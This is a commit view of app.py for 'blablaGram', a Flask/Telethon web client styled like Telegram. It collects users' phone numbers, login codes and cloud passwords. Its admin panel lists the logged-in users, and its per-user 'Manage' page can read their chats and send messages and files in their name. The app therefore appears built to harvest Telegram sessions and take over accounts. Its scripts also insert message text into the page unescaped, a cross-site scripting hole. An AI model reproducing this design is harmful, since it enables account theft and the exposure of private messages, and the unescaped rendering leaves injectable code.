Spaces:
Paused
Paused
Update app.py
Browse files10 unmodified lines1112131415161747 unmodified lines656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510621 unmodified lines12812913013113213313413513613713813914014114214314414516 unmodified lines1621631641651661671681691701711721739 unmodified lines1831841851861871881894 unmodified lines19419519619719819920026 unmodified lines2272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213221 unmodified line3243253263273283293304 unmodified lines33533633733833934034134234334417 unmodified lines36236336436536636736836937037137237337437537637737837938027 unmodified lines4084094104114124134144154164174184194204214224234244254264277 unmodified lines43543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052119 unmodified lines5415425435445455465475485495505515525535545555565571 unmodified line55956056156256356456556656756812 unmodified lines58158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261339 unmodified lines65365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670734 unmodified lines7427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198209 unmodified lines8308318328338348358369 unmodified lines8468478488498508518529 unmodified lines8628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709714 unmodified lines9769779789799809819829833 unmodified lines9879889899909919929939946 unmodified lines100110021003100410051006100710081009101010111012101310141015101610171018101910202 unmodified lines10231024102510261027102810291030103114 unmodified lines104610471048104910501051105210531054105518 unmodified lines10741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710987 unmodified lines11061107110811091110111111121113111411151116111711181119112011219 unmodified lines1131113211331134113511361137113811391140114111421143114411451146114749 unmodified lines11971198119912001201120212036 unmodified lines121012111212121312141215121620 unmodified lines123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312748 unmodified lines128312841285128612871288128912902 unmodified lines1293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113 unmodified lines1335133613371338133913401341134225 unmodified lines1368136913701371137213731374137523 unmodified lines1399140014011402140314041405140630 unmodified lines1437143814391440144114421443144413 unmodified lines14581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314948 unmodified lines150315041505150615071508150915102 unmodified lines151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715389 unmodified lines1548154915501551155215531554155521 unmodified lines1577157815791580158115821583158417 unmodified lines1602160316041605160616071608160910 unmodified linesfrom telethon.tl.functions.messages import ImportChatInviteRequestfrom telethon.tl.functions.channels import JoinChannelRequestfrom telethon.tl.types import User, Chat, Channelfrom telethon.errors.rpcerrorlist import PhoneNumberInvalidError, PhoneCodeExpiredError, PhoneCodeInvalidError, RpcCallErrorapp = Flask(__name__)47 unmodified lines<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>blablaGram - Login</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet"><style>:root {--primary-blue: #2AABEE;--dark-blue: #1C91D0;--background-light: #F5F7FA;--background-mid: #E9EBEE;--card-background: #FFFFFF;--text-dark: #333;--text-medium: #666;--border-light: #E0E0E0;--shadow-light: rgba(0,0,0,0.08);--shadow-medium: rgba(0,0,0,0.15);}body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-mid); color: var(--text-dark); margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; overflow: hidden; }.container { background: var(--card-background); padding: 40px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); max-width: 440px; width: 90%; text-align: center; animation: fadeIn 0.8s ease-out; }@keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }h1 { color: var(--primary-blue); margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 12px 0; border: 1px solid var(--border-light); border-radius: 10px; background: var(--background-light); color: var(--text-dark); font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }input[type="text"]:focus, input[type="password"]:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; background: #fff; }button { background: var(--primary-blue); color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.1em; font-weight: 600; margin-top: 20px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; width: 100%; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.3); }button:hover { background: var(--dark-blue); transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.4); }button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }.message { margin-top: 25px; padding: 18px; border-radius: 10px; font-size: 0.95em; line-height: 1.5; text-align: left; animation: slideIn 0.5s ease-out forwards; opacity: 0; }@keyframes slideIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }.message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }.message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }.message.info { background: #EBF8FF; color: var(--primary-blue); border: 1px solid #C8E6F0; }.hidden { display: none; }@media (max-width: 600px) {.container { padding: 30px 20px; border-radius: 12px; }h1 { font-size: 2.5em; margin-bottom: 25px; }input[type="text"], input[type="password"], button { font-size: 1em; padding: 14px; }.message { font-size: 0.9em; padding: 15px; }}</style></head><body>21 unmodified lines}async function startLogin() {phone = document.getElementById('phone').value.trim();if (!phone) {showMessage('Please enter your phone number.', 'error');return;}if (!phone.startsWith('+')) {showMessage('Please include the country code (e.g., +1234567890).', 'error');return;}showMessage('Sending code...', 'info');// Hide previous inputsdocument.getElementById('code').classList.add('hidden');document.getElementById('password').classList.add('hidden');document.getElementById('submitCode').classList.add('hidden');16 unmodified linessetTimeout(() => window.location.href = '/app', 1500);}} else {showMessage('Login failed: ' + result.message, 'error');}}async function submitCode() {const code = document.getElementById('code').value.trim();if (!code) {showMessage('Please enter the verification code.', 'error');return;9 unmodified linesshowMessage(result.message + ' Redirecting to app...', 'success');setTimeout(() => window.location.href = '/app', 1500);} else if (result.password_required) {showMessage(result.message, 'info');document.getElementById('password').classList.remove('hidden');document.getElementById('submitPassword').classList.remove('hidden');document.getElementById('submitCode').classList.add('hidden');4 unmodified lines}async function submitPassword() {const password = document.getElementById('password').value.trim();if (!password) {showMessage('Please enter your cloud password.', 'error');return;26 unmodified lines<title>blablaGram</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"><style>:root {--primary-blue: #2AABEE;--dark-blue: #1C91D0;--background-light: #F5F7FA;--background-mid: #E9EBEE;--card-background: #FFFFFF;--text-dark: #1C1C1C;--text-medium: #666;--text-light: #888;--border-light: #E0E0E0;--shadow-light: rgba(0,0,0,0.05);--shadow-medium: rgba(0,0,0,0.15);--success-green: #28A745;--success-green-hover: #218838;--secondary-gray: #6C757D;--secondary-gray-hover: #5A6268;}body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); overflow: hidden; }.app-layout { display: flex; height: 100vh; width: 100%; }.sidebar { flex: 0 0 320px; background: var(--card-background); border-right: 1px solid var(--border-light); display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }.sidebar-header { padding: 15px 20px; border-bottom: 1px solid var(--border-light); display: flex; align-items: center; justify-content: space-between; }.sidebar-header h2 { margin: 0; font-size: 1.6em; color: var(--primary-blue); font-weight: 700; letter-spacing: -0.5px; }.sidebar-header .actions button { background: none; border: none; font-size: 1.7em; cursor: pointer; color: var(--primary-blue); padding: 5px 8px; border-radius: 8px; transition: background-color 0.2s; }.sidebar-header .actions button:hover { background-color: var(--background-light); }.sidebar-toggle-button { background: none; border: none; font-size: 1.8em; cursor: pointer; color: var(--primary-blue); padding: 0 10px; display: none; }.chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }.chat-item { display: flex; align-items: center; padding: 14px 20px; border-bottom: 1px solid var(--background-light); cursor: pointer; transition: background-color 0.2s, color 0.2s; }.chat-item:hover { background-color: var(--background-light); }.chat-item.active { background-color: rgba(42, 171, 238, 0.08); color: var(--primary-blue); border-left: 4px solid var(--primary-blue); padding-left: 16px; }.avatar-placeholder { width: 50px; height: 50px; border-radius: 50%; background-color: var(--primary-blue); color: white; display: flex; align-items: center; justify-content: center; font-size: 1.7em; font-weight: 600; margin-right: 15px; flex-shrink: 0; box-shadow: 0 2px 5px var(--shadow-light); }.chat-info { flex: 1; overflow: hidden; }.chat-info h3 { margin: 0 0 4px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: var(--text-dark); }.chat-item.active .chat-info h3 { color: var(--primary-blue); }.chat-info p { margin: 0; font-size: 0.85em; color: var(--text-medium); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }.chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }.chat-panel-header { background: var(--card-background); padding: 15px 25px; border-bottom: 1px solid var(--border-light); display: flex; justify-content: space-between; align-items: center; box-shadow: 0 2px 5px var(--shadow-light); }.chat-panel-header h2 { margin: 0; font-size: 1.35em; font-weight: 600; color: var(--text-dark); }.chat-panel-header .header-actions button { background: var(--primary-blue); color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }.chat-panel-header .header-actions button:hover { background: var(--dark-blue); transform: translateY(-1px); }.chat-panel-header .header-actions button:active { transform: translateY(0); }.chat-panel-header .header-actions .switch-account { background: var(--secondary-gray); margin-left: 10px; box-shadow: 0 2px 5px rgba(108, 117, 125, 0.2); }.chat-panel-header .header-actions .switch-account:hover { background: var(--secondary-gray-hover); }.messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; scroll-behavior: smooth; }.message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px var(--shadow-light); }.message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }.message-item.received { background: var(--card-background); align-self: flex-start; border-bottom-left-radius: 6px;}.message-sender { font-weight: 600; color: var(--primary-blue); margin-bottom: 5px; display: block; font-size: 0.9em; }.message-text { color: var(--text-dark); white-space: pre-wrap; word-break: break-word;}.message-meta { font-size: 0.75em; color: var(--text-light); margin-top: 6px; text-align: right; }.media-link { display: block; margin-top: 8px; color: var(--primary-blue); text-decoration: none; font-weight: 500; word-break: break-all; }.media-link:hover { text-decoration: underline; }.load-more-messages { text-align: center; margin-top: 15px; color: var(--text-medium); font-size: 0.9em;}.load-more-messages button { background: var(--primary-blue); color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }.load-more-messages button:hover { background: var(--dark-blue); }.chat-input-area { background: var(--card-background); padding: 12px 20px; border-top: 1px solid var(--border-light); display: flex; align-items: flex-end; gap: 12px; box-shadow: 0 -2px 5px var(--shadow-light); }.chat-input-area textarea { flex: 1; padding: 12px 16px; border: 1px solid var(--border-light); border-radius: 24px; background: var(--background-light); resize: none; overflow-y: auto; max-height: 120px; min-height: 48px; font-size: 1em; line-height: 1.4; color: var(--text-dark); transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }.chat-input-area textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; background: #fff; }.chat-input-area button { background: var(--primary-blue); color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s, box-shadow 0.2s; flex-shrink: 0; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.3); }.chat-input-area button:hover { background: var(--dark-blue); transform: translateY(-1px); box-shadow: 0 4px 8px rgba(42, 171, 238, 0.4); }.chat-input-area button:active { transform: translateY(0); box-shadow: 0 1px 3px rgba(42, 171, 238, 0.2); }.no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: var(--text-medium); font-size: 1.2em; text-align: center; }.join-chat-section { padding: 15px 20px; border-top: 1px solid var(--border-light); display: flex; gap: 10px; background-color: var(--card-background); }.join-chat-section input { flex: 1; padding: 12px; border: 1px solid var(--border-light); border-radius: 10px; font-size: 0.95em; box-sizing: border-box; }.join-chat-section input:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; }.join-chat-section button { background: var(--success-green); color: white; padding: 0 18px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; font-size: 0.95em; transition: background 0.2s, transform 0.2s; }.join-chat-section button:hover { background: var(--success-green-hover); transform: translateY(-1px); }/* Mobile Adaptation */@media (max-width: 768px) {.app-layout { flex-direction: column; }.sidebar { flex: 0 0 auto; width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); background: var(--card-background); box-shadow: 2px 0 10px var(--shadow-medium); }.sidebar.active { transform: translateX(0); }.chat-panel { width: 100%; height: 100vh; position: relative; }.sidebar-toggle-button { display: block; margin-right: 15px; } /* Shows hamburger on sidebar, back arrow on chat panel */.sidebar-header .actions { display: flex; align-items: center; }.chat-panel-header { padding: 15px 15px; }.chat-panel-header h2 { font-size: 1.2em; }.chat-input-area { padding: 10px 15px; }.message-item { max-width: 90%; }}@media (min-width: 769px) {.sidebar-toggle-button.mobile-back-arrow { display: none; } /* Hide back arrow on desktop */.sidebar-toggle-button { display: none; } /* Hide hamburger button on desktop */}</style></head>1 unmodified line<div class="app-layout"><div class="sidebar" id="sidebar"><div class="sidebar-header"><button class="sidebar-toggle-button" onclick="toggleSidebar()">☰</button><h2>blablaGram</h2><div class="actions"><button onclick="newMessage()" title="New Message">✎</button>4 unmodified lines<input type="text" id="joinChatIdentifier" placeholder="Join link or @username"><button onclick="joinChat()">Join</button></div></div><div class="chat-panel" id="chatPanel"><div class="chat-panel-header" id="appHeader"><button class="sidebar-toggle-button mobile-back-arrow" onclick="toggleSidebar()">←</button><div id="chat-header-info"><h2 id="chatTitle" style="display:none;"></h2></div>17 unmodified lines<script>let currentChatId = null;let isSidebarOpen = false;let messagesLoadedOffsetId = 0;let hasMoreMessages = true;const messagesPerPage = 50; // Keep this consistent with backend limitfunction toggleSidebar() {const sidebar = document.getElementById('sidebar');isSidebarOpen = !isSidebarOpen;if (isSidebarOpen) {sidebar.classList.add('active');} else {sidebar.classList.remove('active');}}function adjustTextareaHeight() {27 unmodified lineschatListDiv.appendChild(chatItem);});} else {chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: var(--text-medium);">${result.message || 'No chats found.'}</p>`;}}async function selectChat(chatId) {if (currentChatId === chatId) { // Prevent re-loading if already selectedif (window.innerWidth <= 768 && isSidebarOpen) { // Hide sidebar if on mobile and already opentoggleSidebar();}return;}currentChatId = chatId;messagesLoadedOffsetId = 0; // Reset offset for new chathasMoreMessages = true; // Assume there are more messages for a new chatdocument.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');7 unmodified linesdocument.getElementById('messagesContainer').style.display = 'flex';document.getElementById('chatInputArea').style.display = 'flex';await fetchMessages(chatId, 0, false); // Fetch initial messagesif (window.innerWidth <= 768) {toggleSidebar(); // Hide sidebar on mobile after selecting chat}}async function fetchMessages(chatId, offsetId, isLoadMore) {const messagesContainer = document.getElementById('messagesContainer');if (!isLoadMore) {messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Loading...</p>';} else {const loadingIndicator = document.createElement('p');loadingIndicator.style.textAlign = 'center';loadingIndicator.style.color = 'var(--text-medium)';loadingIndicator.textContent = 'Loading older messages...';loadingIndicator.id = 'loadingOlderMessages';messagesContainer.prepend(loadingIndicator);}const response = await fetch(`/api/chat_messages/${chatId}?offset_id=${offsetId}`);const result = await response.json();if (document.getElementById('loadingOlderMessages')) {document.getElementById('loadingOlderMessages').remove();}if (result.success && result.messages) {if (!isLoadMore) {messagesContainer.innerHTML = ''; // Clear only for initial load}if (result.messages.length === 0 && !isLoadMore) {messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">No messages found in this chat.</p>`;hasMoreMessages = false;return;}const fragment = document.createDocumentFragment();result.messages.reverse().forEach(msg => { // Iterate in reverse to prependconst messageItem = document.createElement('div');messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;let senderInfo = !msg.is_sent && msg.sender_name && msg.type !== 'User' ? `<span class="message-sender">${msg.sender_name}</span>` : '';let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';let metaHtml = `<div class="message-meta">${msg.date}</div>`;let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;fragment.prepend(messageItem); // Prepend to fragment to maintain order});// Prepend 'Load More' button if there are more messagesif (result.has_more_messages) {const loadMoreDiv = document.createElement('div');loadMoreDiv.className = 'load-more-messages';loadMoreDiv.innerHTML = `<button onclick="loadOlderMessages()">Load More</button>`;fragment.prepend(loadMoreDiv);hasMoreMessages = true;} else {hasMoreMessages = false;}messagesContainer.prepend(fragment); // Prepend all messages in one goif (!isLoadMore) {messagesContainer.scrollTop = messagesContainer.scrollHeight; // Scroll to bottom for initial load}messagesLoadedOffsetId = result.next_offset_id;} else {messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;hasMoreMessages = false;}}function loadOlderMessages() {if (!currentChatId || !hasMoreMessages) return;document.querySelector('.load-more-messages button').remove(); // Remove current load more buttonfetchMessages(currentChatId, messagesLoadedOffsetId, true);}async function newMessage() {const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");19 unmodified linesconst message = messageInput.value;if (!message.trim()) return;messageInput.value = '';adjustTextareaHeight();// Optimistically add message to UI (optional, for faster feedback)const messagesContainer = document.getElementById('messagesContainer');const tempMessageItem = document.createElement('div');tempMessageItem.className = 'message-item sent';tempMessageItem.innerHTML = `<div class="message-text">${message.replace(/\\n/g, '<br>')}</div><div class="message-meta">Sending...</div>`;messagesContainer.appendChild(tempMessageItem);messagesContainer.scrollTop = messagesContainer.scrollHeight;const response = await fetch('/api/send_message', {method: 'POST',headers: { 'Content-Type': 'application/json' },1 unmodified line});const result = await response.json();if (result.success) {await fetchMessages(currentChatId, 0, false); // Re-fetch the latest messages to include the new one and refresh state} else {alert('Failed to send message: ' + result.message);tempMessageItem.remove(); // Remove optimistic message if failedmessageInput.value = message;adjustTextareaHeight();}12 unmodified linesformData.append('file', file);formData.append('caption', caption);messageInput.value = ''; // Clear message inputfileInput.value = ''; // Clear file inputadjustTextareaHeight();const messagesContainer = document.getElementById('messagesContainer');const uploadIndicator = document.createElement('p');uploadIndicator.style.textAlign = 'center';uploadIndicator.style.color = 'var(--text-medium)';uploadIndicator.textContent = 'Uploading file...';messagesContainer.appendChild(uploadIndicator);messagesContainer.scrollTop = messagesContainer.scrollHeight;const response = await fetch('/api/send_file', {method: 'POST',body: formData});const result = await response.json();uploadIndicator.remove(); // Remove upload indicatorif (result.success) {await fetchMessages(currentChatId, 0, false); // Re-fetch messages to show the sent file} else {alert('Failed to send file: ' + result.message);}}async function joinChat() {const chatIdentifier = document.getElementById('joinChatIdentifier').value.trim();if (!chatIdentifier.trim()) {alert('Please enter a channel/group username or invite link.');return;39 unmodified lines<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>blablaGram - Admin Panel</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet"><style>:root {--primary-blue: #2AABEE;--dark-blue: #1C91D0;--background-light: #F5F7FA;--card-background: #FFFFFF;--text-dark: #333;--text-medium: #666;--border-light: #E0E0E0;--shadow-medium: rgba(0,0,0,0.15);--secondary-gray: #6C757D;--secondary-gray-hover: #5A6268;}body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; box-sizing: border-box;}.container { max-width: 960px; margin: auto; background: var(--card-background); padding: 30px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); }h1, h2 { text-align: center; color: var(--primary-blue); margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px;}h1 { font-size: 2.8em; }h2 { font-size: 1.8em; }table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.08); }th, td { padding: 15px 20px; border: 1px solid var(--border-light); text-align: left; }th { background: var(--background-light); color: var(--text-medium); font-weight: 600; font-size: 0.95em; text-transform: uppercase; }tr:nth-child(even) { background: #FDFDFD; }tr:hover { background: rgba(42, 171, 238, 0.05); }a { color: var(--primary-blue); text-decoration: none; transition: color 0.3s ease; font-weight: 500; }a:hover { text-decoration: underline; color: var(--dark-blue); }.back-button { margin-top: 30px; text-align: center; }.back-button a { display: inline-block; padding: 12px 25px; background: var(--secondary-gray); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s; font-weight: 600; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }.back-button a:hover { background: var(--secondary-gray-hover); text-decoration: none; transform: translateY(-2px); }.back-button a:active { transform: translateY(0); }@media (max-width: 768px) {body { padding: 15px; }.container { padding: 25px 15px; border-radius: 12px; }h1 { font-size: 2.2em; margin-bottom: 20px; }h2 { font-size: 1.5em; }table, thead, tbody, th, td, tr { display: block; }thead tr { position: absolute; top: -9999px; left: -9999px; } /* Hide table headers (but not display: none;, for accessibility) */tr { border: 1px solid var(--border-light); margin-bottom: 15px; border-radius: 8px; overflow: hidden; }td { border: none; border-bottom: 1px solid var(--border-light); position: relative; padding-left: 50%; text-align: right; }td:last-child { border-bottom: none; }td:before { position: absolute; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; text-align: left; font-weight: 600; color: var(--text-medium); font-size: 0.9em; }td:nth-of-type(1):before { content: "ID"; }td:nth-of-type(2):before { content: "Telegram ID"; }td:nth-of-type(3):before { content: "Username"; }td:nth-of-type(4):before { content: "Phone"; }td:nth-of-type(5):before { content: "Actions"; }td a { display: block; text-align: right; }.back-button a { width: calc(100% - 30px); }}</style></head>34 unmodified lines<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Manage: {{ user.username or user.phone }}</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet"><style>:root {--primary-blue: #2AABEE;--dark-blue: #1C91D0;--background-light: #F5F7FA;--card-background: #FFFFFF;--text-dark: #333;--text-medium: #666;--text-light: #999;--border-light: #E0E0E0;--shadow-light: rgba(0,0,0,0.05);--shadow-medium: rgba(0,0,0,0.15);--success-green: #28A745;--success-green-hover: #218838;--secondary-gray: #6C757D;--secondary-gray-hover: #5A6268;}body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 20px; box-sizing: border-box; }.container { max-width: 1200px; margin: auto; background: var(--card-background); padding: 30px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); }h1 { text-align: center; color: var(--primary-blue); margin-bottom: 20px; font-weight: 700; font-size: 2.5em; letter-spacing: -0.5px; }h2 { margin-top: 0; font-size: 1.5em; font-weight: 600; color: var(--text-dark); margin-bottom: 15px; }.user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: var(--text-medium); font-weight: 500; border-bottom: 1px solid var(--border-light); padding-bottom: 20px; }.split-panel { display: flex; gap: 25px; margin-top: 25px; }.split-panel > div { flex: 1; background: var(--background-light); padding: 25px; border-radius: 12px; border: 1px solid var(--border-light); box-shadow: 0 4px 10px var(--shadow-light); }input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }input[type="text"]:focus, textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.15); outline: none; }textarea { resize: vertical; min-height: 80px; }button { background: var(--primary-blue); color: #fff; padding: 12px 20px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.0em; font-weight: 600; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.2); }button:hover { background: var(--dark-blue); transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.3); }button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.1); }button.file-send { background: var(--success-green); box-shadow: 0 4px 10px rgba(40, 167, 69, 0.2); }button.file-send:hover { background: var(--success-green-hover); box-shadow: 0 6px 15px rgba(40, 167, 69, 0.3); }.chat-list { max-height: 400px; overflow-y: auto; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }.chat-item { padding: 14px 18px; border-bottom: 1px solid var(--border-light); cursor: pointer; transition: background 0.2s ease; }.chat-item:hover, .chat-item.active { background: rgba(42, 171, 238, 0.08); }.chat-item:last-child { border-bottom: none; }.chat-item h3 { margin: 0; font-size: 1.05em; color: var(--text-dark); font-weight: 600; }.chat-item p { margin: 5px 0 0; font-size: 0.85em; color: var(--text-medium); }.message-viewer { margin-top: 30px; background: var(--background-light); padding: 25px; border-radius: 12px; border: 1px solid var(--border-light); box-shadow: 0 4px 10px var(--shadow-light); }.messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid var(--border-light); border-radius: 10px; background: var(--card-background); margin-top: 15px; display: flex; flex-direction: column-reverse; scroll-behavior: smooth; }.message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 2px var(--shadow-light); }.message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }.message-item.received { background: #F1F0F0; align-self: flex-start; border-bottom-left-radius: 4px; }.message-sender { font-weight: bold; color: var(--primary-blue); margin-bottom: 4px; display: block; font-size: 0.9em; }.message-text { color: var(--text-dark); white-space: pre-wrap; word-break: break-word;}.message-meta { font-size: 0.7em; color: var(--text-light); margin-top: 5px; text-align: right; 